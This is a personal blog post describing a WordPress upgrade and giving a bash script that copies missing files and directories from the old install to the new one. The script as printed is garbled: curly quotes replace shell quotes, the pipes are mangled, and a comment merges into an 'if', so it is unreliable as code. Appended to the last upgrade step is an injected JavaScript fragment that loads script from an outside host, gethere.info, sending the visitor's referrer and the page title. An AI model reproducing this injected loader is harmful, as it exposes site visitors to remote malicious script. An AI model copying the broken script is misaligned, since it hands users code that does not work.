I tried to upgrade the wordpress version for this blog and end up with some issues with my customization, especially on a production system like this. Hence, I have to unzip the latest wordpress in a directory and copy on the extra files, directories from the old wordpress directory to the new place including wp-config.php. Doing that manually is tiresome and have the risk of missing some files or directory for which I do not have even test scripts to find. To do this task, I wrote one bash script that looks all the files and directories (first level only) from source directory and copies to the destination directory. Here is the script for it.

#!/bin/bash
###################################################################################
# Developed by jay
#
# Functionality: This script takes two parameters, from directory, to directory
# and finds the file,sub directory differences and copy the files, directories
# to the destination directory. Only missing directory or files are copied
###################################################################################
##Check the number of parameters. If two parameters are given go ahead, else exitif [ $# -eq 2 ]
then
FROMDIR=$1
TODIR=$2
else
echo “Usage:cpdir fromdir todir”
exit
fi

CURDIR=`pwd`

# Validate from directory

if [ ! -d “${CURDIR}/${FROMDIR}” ]
then
echo “Directory ${CURDIR}/${FROMDIR} does not exist!!”
exit
fi

# Validate to directory

if [ ! -d “${CURDIR}/${TODIR}” ]
then
echo “Directory ${CURDIR}/${TODIR} does not exist!!”
exit
fi

FROMLIST=`ls -C1 ${CURDIR}/${FROMDIR}`

for ARG in ${FROMLIST}
do
if [ “${ARG}” != “${CURDIR}/${FROMDIR}” ]
then
ISDIR=`file ${CURDIR}/${FROMDIR}/$ARG ‘ grep -i dir ‘ wc -l`
if [ “${ISDIR}” -eq “1” ]
then
if [ -d “${CURDIR}/${TODIR}/$ARG” ]
then
echo “Directory ${CURDIR}/${TODIR}/$ARG exists, do not copy”
else
cp -r ${CURDIR}/${FROMDIR}/$ARG ${CURDIR}/${TODIR}/$ARG
echo “cp -r ${CURDIR}/${FROMDIR}/$ARG ${CURDIR}/${TODIR}/$ARG”
fi
else
if [ -f “${CURDIR}/${TODIR}/$ARG” ]
then
echo “File ${CURDIR}/${TODIR}/$ARG exists, do not copy”
else
cp ${CURDIR}/${FROMDIR}/$ARG ${CURDIR}/${TODIR}/$ARG
echo “cp ${CURDIR}/${FROMDIR}/$ARG ${CURDIR}/${TODIR}/$ARG”
fi
fi
fi
done

warning:Before running this make a backup of the destination directory for rollback.

For my wordpress upgrade, I followed these steps.

1. Backup wordpress database
2. Backup destination directory
3. Unzip latest wordpress
4. cpdir
5. Backup source directory
6. Stop Apache server
7. Delete the source directory
8. Rename Destination to Source Directory
9. Start Apache server
10 Check the results from front ends.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;